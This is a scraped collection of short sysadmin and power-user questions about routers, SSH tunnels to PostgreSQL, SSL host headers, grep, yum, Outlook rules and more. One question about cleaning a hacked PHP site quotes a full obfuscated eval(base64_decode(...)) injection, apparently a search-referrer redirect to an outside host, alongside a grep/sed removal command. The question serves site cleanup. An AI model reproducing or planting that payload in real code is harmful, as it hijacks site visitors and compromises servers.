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• how to detect device type from connected device to router?

  - by molly

  i have a att router and there is an unknown device connected to my network. i cant seem to kick it off because of how att's router settings are created which is kind of dumb. i am able to see its local ip and mac address. i am on a mac with snow leopard. how can i get more information on the device with the information that i have? i want to see what kind of device it is, i have checked all deviced that are connected to the router and non seem to match the local ip that is connected. i have wpa encryption setup with a strong password.

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• can not connect via SSH to a remote Postgresql database

  - by tartox

  I am trying to connect via pgAdmin3 GUI to a Postgresql database on a remote server myHost on port 5432. Server side : I have a Unix myUser that match a postgresql role. pg_hba.conf is : local all all trust host all all 127.0.0.1/32 trust Client side : I open an ssh tunnel : ssh -L 3333:myHost:5432 myUser@myHost I connect to the server via pgAdmin3 ( or via psql -h localhost -p 3333 ). I get the following error message : server closed the connection unexpectedly This probably means the server terminated abnormally before or while processing the request. I have tried to access a specific database with the superuser role using psql -h localhost -p 3333 --dbname=myDB --user=mySuperUser with no more success. What did I forget in the setup ? Thank you

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• Force users to access SSL site using specific host header

  - by mwillmott

  Hi, So i am running IIS7 with one SSL site on it. I have a few different domains and subdomains that all point to my external IP. When using http they all direct to their respective sites using host headers. Whenever someone uses https on any of the domains they all point to my SSL site. I only want people who type in https://sub.domain.com (for example) to end up at my secure site and for anything else to just not go there, it can throw an error or direct to the http version, it doesn't matter. Is there a way of getting IIS7 to check the host header and throw an error if it doesn't match my specific subdomain? Thanks, Michael

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• How to get Bash shell history range

  - by Aniti

  How can I get/filter history entries in a specific range? I have a large history file and frequently use history | grep somecommand Now, my memory is pretty bad and I also want to see what else I did around the time I entered the command. For now I do this: get match, say 4992 somecommand, then I do history | grep 49[0-9][0-9] this is usually good enough, but I would much rather do it more precisely, that is see commands from 4972 to 5012, that is 20 commands before and 20 after. I am wondering if there is an easier way? I suspect, a custom script is in order, but perhaps someone else has done something similar before.

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• Find words in many files

  - by ant2009

  Hello, I am looking for this struct messages_sdd_t and I need to search through a lot of *.c files to find it. However, I can't seen to find a match as I want to exclude all the words 'struct' and 'messages_sdd_t'. As I want to search on this only 'struct messages_sdd_t' The reason for this is, as struct is used many times and I keep getting pages or search results. I have been doing this without success: find . -type f -name '*.c' | xargs grep 'struct messages_sdd_t' and this find . -type f -name '*.c' | xargs egrep -w 'struct|messages_sdd_t' Many thanks for any suggestions,

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• Why does Windows share permissions change file permissions?

  - by Andrew Rump

  When you create a (file system) share (on windows 2008R2) with access for specific users does it changes the access rights to the files to match the access rights to the share? We just killed our intranet web site when sharing the INetPub folder (to a few specified users). It removed the file access rights for authenticated users, i.e., the user could not log in using single signon (using IE & AD)! Could someone please tell me why it behaves like this? We now have to reapply the access right every time we change the users in the share killing the site in the process every time!

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• Apache: Assign SSL server / client certs to directories

  - by Daniel Amaya

  I have multiple directories on my system, e.g., /var/www/dir1 /var/www/dir2 /var/www/dir3 And what I'd like to do is to generate a server/client SSL certificate for each directory, and then set up each directory such that the client cert must match the server cert in order to access said directory. Now, if someone has the client cert for /var/www/dir2 and they try to access /var/www/dir1, they will be unable to do so since those directories use different certs. Each of these directories is hosted on the same domain (i.e., domain.com/dir1, domain.com/dir2). Now, the problem I am having is that I am not exactly sure how to accomplish this in Apache. (Also, I don't really care for domain.com to require SSL, but I do want the directories to require it.)

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• Virtual OS using same Wallpaper as Host

  - by Jeff

  Greetings, I'm running a guest Linux OS on top of Windows XP, which rotates its wallpapers using the PowerToy Wallpaper Changer. I'm hoping for a way for my guest OS to somehow detect which wallpaper the host is using, and automatically switch to it. Why? Because if I run my guest OS in seamless mode and have transparent windows, I want the transparent background to match the host OS. It looks nice that way :). A couple tidbits of relevant information: Guest OS is Peppermint Ice (Ubuntu based) Host OS is Windows XP VirtualBox as virtualization software I realize this is somewhat breaking borders between the host and the guest, but I want my pretty rotating wallpaper! I'm guessing there is a way using scripts and shared folders or something similar, if not by means of just querying the host OS.

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• Microsoft CA certificate templates expires sooner than expected

  - by Tim Brigham

  The certificates my Microsoft CA is generating do not match the time period indicated in the template used. How can I resolve this? I recently created a new certificate template for use on my Linux boxes on my Microsoft CA (2008 R2 Enterprise). This template is approved for server and client authentication purposes with a validity period of 10 years - the expected lifetime of our Linux boxes - and the subject name supplied in the request. I have checked both the intermediate and offline CA - both have more than 10 years of life listed. Is there some kind of hard limit I'm hitting here?

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• mod_rewrite for specific domains in a mappings file

  - by scott

  I have a bunch of domains that I want to go to one domain but various parts of that domain. # this is what I currently have RewriteEngine On RewriteCond %{HTTP_HOST} ^.*\.?foo\.com$ [NC] RewriteRule ^.*$ ${domainmappings:www.foo.com} [L,R=301] # rewrite map file www.foo.com www.domain.com/domain/foo.com.php www.bar.com www.domain.com/domain/bar.com.php www.baz.com www.domain.com/other/baz.php.foo The problem is that I don't want to have to have each domain be part of the RewriteCond. I tried RewriteCond %{HTTP_HOST} ^www\.(.*) RewriteRule (.*) http://%1/$1 [R=301,L] but that will do it for EVERY domain. I only want the domains that are in the mappings file to redirect, and then continue on to other rewrites if it doesn't match any domains in the mappings file.

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• pf not execute udp port specific block rule

  - by seaquest

  The traffic I want to block can be sniffed as below with tcpdump: 19:16:22.391164 IP 95.95.95.95.2036 > 10.10.10.10.443: UDP, length 8192 So I wanted to write a rule block any udp destination port 443 traffic. block drop quick on igb3 inet proto udp to any port 443 Traffic does not match and does not blocked. However, It matches and blocks if I write rule as below: block drop quick on igb3 inet proto udp to 10.10.10.10 Do you have any remarks? I am using pf in Freebsd.

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• clear contents from matched column of data in another sheet

  - by Peta

  I have a column of email addresses on sheet 2 col A (but I could put them on sheet 1 if it would make it easier / faster) that I want to remove from sheet 1 col D if matched (there may be 2 or more occurences of the same email to be removed/cleared). (1000s of rows in each sheet). After all day searching forums I’m getting more confused & can't find what I'm looking for. Not sure whether to use .match or .find & .ClearContents & the syntax for iterating through. Thanks very much in anticipation Peta

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• where is this SFP problem occuring

  - by Saif Khan

  Hi, Inbound mail to a specific user is been forwarded to his external mailbox at another domain. Add mails are routed correctly with the exception of one domain. When mail are sent to users of my domain, including that user, the mails are delivered to everyone except him...as the mail admin I am getting the message The following recipient(s) cannot be reached: usermailbox on 1/10/2011 1:27 PM There was a SMTP communication problem with the recipient's email server. Please contact your system administrator. email.speedimpex.com #5.5.0 smtp;587 [email protected] sender domain does not match SPF records I am sure this has nothing to do with my mail server, however, can someone confirm?

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• automatic reply rule within Outlook

  - by jherlitz

  My plan is to add a automatic reply to all incoming emails for a exchange mailbox. I created a rule that would check all incoming and created the template reply. Created it so it would match a server rule so outlook would not have to be open. If I send an email from my work account on the same exchange server, it works and sends the reply I created. With outlook open or closed. However, when I send email from outside the company, (my personal email), it does not get a reply. What the heck is going on there? I think the issue is within the selection of who the email is too. I have tried "only to me" "where my name is in TO or CC" as well as "sent to people or distribution list". So any ideas of why this isn't working. I thought this question was a super user question as appose to server fault. Thank you,

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• have list of emails to be deleted from sheet A col D [on hold]

  - by Peta

  Thank you for your comments guys & now that CharlieRB has suggested "Match entire cell contents" I'll give it a better go. No I do not expect people to do my work for me & I'm sorry if it came over that way - just didn't know where to start. Would love some help please, I've limited VBA & function knowledge & I'm not sure where to start. If someone can point me in the right direction it would be appreciated. I have a list of email addresses on sheet "B" col A (but I could put them on sheet A if it would make it easier / faster) that I want deleted from sheet "A" col D (may be 2 or more occurences of the same email). I can't just record a find & delete macro and edit because for example [email protected] will also pick up [email protected] which I may not want deleted. thanks very much Peta

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• grep, xargs, sed to clean up PHP eval hack

  - by roktechie

  I'm attempting to use the commands found on http://devilsworkshop.org/tutorial/remove-evalbase64decode-malicious-code-grep-sed-commands-files-linux-server/55587/ to clean up a PHP eval based hack on a site. Sample code to match/remove <?php eval(base64_decode("ZXJyb3JfcmVwb3J0aW5nKDApOwokcWF6cGxtPWhlYWRlcnNfc2VudCgpOwppZiAoISRxYXpwbG0pewokcmVmZXJlcj0kX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ107CiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOwppZiAoJHVhZykgewppZiAoIXN0cmlzdHIoJHVhZywiTVNJRSA3LjAiKSBhbmQgIXN0cmlzdHIoJHVhZywiTVNJRSA2LjAiKSl7CmlmIChzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmciKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJyYW1ibGVyIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKSBvciBwcmVnX21hdGNoKCIveWFuZGV4XC5ydVwveWFuZHNlYXJjaFw/KC4qPylcJmxyXD0vIiwkcmVmZXJlcikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmxcP3NhLyIsJHJlZmVyZXIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImZhY2Vib29rLmNvbS9sIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYW9sLmNvbSIpKSB7CmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7CmhlYWRlcigiTG9jYXRpb246IGh0dHA6Ly9sb29wZG93bi5sZmxpbmt1cC5jb20vIik7CmV4aXQoKTsKfQp9Cn0KfQp9")); Attempted command: sudo grep -lr --include=*.php "eval(base64_decode" /home/user/webdir | sudo xargs sed -i.bak 's/<?php eval(base64_decode[^;]*;/<?php\n/g' The sudo has been added as it is required to have permission to read/write on the dir I'm accessing. The files list properly from grep, but are not changed by sed. Any suggestions?

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• CentOS - Yum doesn't update anymore?

  - by Xanathos

  I've been trying to use yum now, but for some reason, not even the search work anymore. I even tried putting packages I already downloaded in the search criteria and is the same. [root@AMDFX03 Downloads]# yum search glibc Loaded plugins: fastestmirror, refresh-packagekit, security Loading mirror speeds from cached hostfile epel/metalink | 22 kB 00:00 * base: centos.secrel.com.br * epel: archive.linux.duke.edu * extras: centos.secrel.com.br * rpmforge: apt.sw.be * updates: centos.secrel.com.br adobe-linux-x86_64/primary | 1.2 kB 00:00 http://linuxdownload.adobe.com/linux/x86_64/repodata/primary.xml.gz: [Errno -1] Metadata file does not match checksum Trying other mirror. Error: failure: repodata/primary.xml.gz from adobe-linux-x86_64: [Errno 256] No more mirrors to try. This error always appear no matter what I do. Please, can you tell me how to fix this, or at least how to reset yum's configuration?

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• MS Outlook Voting mismatch

  - by Robert Ilbrink

  I did send out an Outlook vote to hundreds of employees, using their email address (which is mostly [email protected], but there are many exceptions). The incoming votes are not matched against the email address, but against the display name. Unfortunately, the display name has no real standard either. So instead of seeing this: [email protected] Voted: Yes [email protected] Voted: No I see this: [email protected] [email protected] Doe, Johnathan Philip Voted: Yes Doe - Peeters, Marian Voted: No In the actual list I see the addresses that I sent the vote to PLUS extra lines with the votes that came back. Is there a quick way to match my "send" list with the "received" list? One thing I thought of was to dump the global address book in a file and in Excel use =vlookup. But that seems a lot of work (and I am not even sure that I have the authorization to dump the address book).

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• Nginx vs Apache as reverse proxy, which one to choose

  - by mhd

  Hi, this kind of question maybe has been asked here but I couldn't find any that really match my question. Heard that nginx performance is quite impressive, but Apache has more docs, community(read:expert) to get help Now what I want to know, how both web servers compare in term of performance, easiness of config, level of customization,etc. AS REVERSE PROXY server in a vps environment?? I'm still weighing between the two for a ruby web app(not ROR) served with thin server. Specific answer will be much appreciated. General answer not touching the ruby part is okay. I'm still noob in web server administration.

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• ec2 ami device mapping

  - by hortitude

  I have large ec2 Ubuntu image and I'm just looking through the devices. I noticed from the metadata that % curl http://169.254.169.254/latest/meta-data/block-device-mapping/ami sda1 % curl http://169.254.169.254/latest/meta-data/block-device-mapping/ephemeral0 sdb However when I look what is actually mounted there is /dev/xvda1 and /dev/xvdb (and there is no /dev/sd* ) I know that both names look somewhat valid from the AWS documentation, but it looks to me from this like there is a mismatch in the instance metadata and what is actually on the machine. Why don't they match?

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• after install python 2.7.3 yum is broken

  - by user468587

  i installed libxml2-2.9.0 and libxslt-1.1.27 then yum is broken any yum command that i ran i got the result of : There was a problem importing one of the Python modules required to run yum. The error leading to this problem was: No module named yum Please install a package which provides this module, or verify that the module is installed correctly. It's possible that the above module doesn't match the current version of Python, which is: 2.4.3 (#1, Jan 21 2009, 01:11:33) [GCC 4.1.2 20071124 (Red Hat 4.1.2-42)] If you cannot solve this problem yourself, please go to the yum faq at: http://yum.baseurl.org/wiki/Faq then i thought python version is way too old and install python 2.7.3 and install it from scratch, after some wrong trials it got worse and worse, now when i run 'python -V' i got version 'Python 2.7.3', when i run '/usr/bin/python -V', it returned 'python-2.4.3-24.el5', and no matter what i did the yum is still broken with that message. how can i get yum back? my os is: linux 2.6.18-164.11.1.el5 x86_64 GNU/Linux

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• Frame rate upsampling codec/player/software?

  - by djechelon

  Hello, I recently noticed that when I play both HD and SD videos on my HDMI TV at 1080p 60Hz from my computer, the motion is not fluid as I would expect. As far as I know, it could be because the 24fps video needs to be upsampled by the codec to match the 60Hz output of the monitor. But, as far as I know, the upsampling is done by simply repeating each photogram for a certain amount of frames. I usually play MKV videos with VLC. Do you know if there is a player or codec that performs the upsampling by interpolation like some 100Hz TVs do? I recently saw an LG led TV play a 24fps 720p video at 100Hz with an incredible motion fluidity, and I simply wonder why can't my computer do! I have an NVidia card. Does PureVideo help? I'm a noob with these things. Thank you.

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• HP DL160 G6 memory PC3-10600R vs PC3-10600E

  - by Jeremy Hajek

  I am using a HP DL 160 G6 server that according to specs takes PC3 Registered or Unbuffered. When I combine the two types of memory below the system will not POST. When I use just the first type of memory listed the system will POST. I have two pieces of HP memory that came with the server labeled PC3-10600E-9-10-E0 and then I have some Crucial memory labeled PC3-10600R-9-10-B0 I wager that the R means Registered memory and the E means ECC - then shouldn't the crucial memory boot with the system according to the HP specs? Or does the E mean it is Unbuffered and therefore I shouldn't mix and match as according to this HP memory config doc?

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• Ignore subdomain rewrite rules

  - by user55745

  I'm having difficulty having a sub folder act differently to the main domain in my web.config for iss. I want to prevent the sub folder from rewriting to the baselevel index.php and instead re-write to /subfolder/index.php/ I've tried this <rule name="Remove index.php for quiz" enabled="true" stopProcessing="false"> <match url="^(gsoquiz/)(.*)$" ignoreCase="false" trackAllCaptures="false" /> <conditions logicalGrouping="MatchAll"> <add input="{R:1}" negate="true" pattern="^(index\.php|admin\.php)" /> </conditions> <action type="Rewrite" url="/gsoquiz/index.php/{R:1}" /> </rule> But all I get is The page cannot be displayed because an internal server error has occurred. Any help as to where I'm going wrong would be greatly appreciated. Going mad trying to figure this out :).

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• grep with after-context that does not contain a keyword

  - by ukasz

  I want to grep through logs, and gather a certain exception stacktrace but I want to only see those that do not contain certain keywords in --after-context. I do not know in which line in after-context the keyword is. Simple example - given this shell code: grep -A 2 A <<EOF A B C R A Z Z X EOF the output is: A B C -- A Z Z I'd like the output to be: A Z Z I want to exclude any match that has 'B' in after-context How do I do this? Using grep is not a requirement, though I only have access to coreutils and perl.

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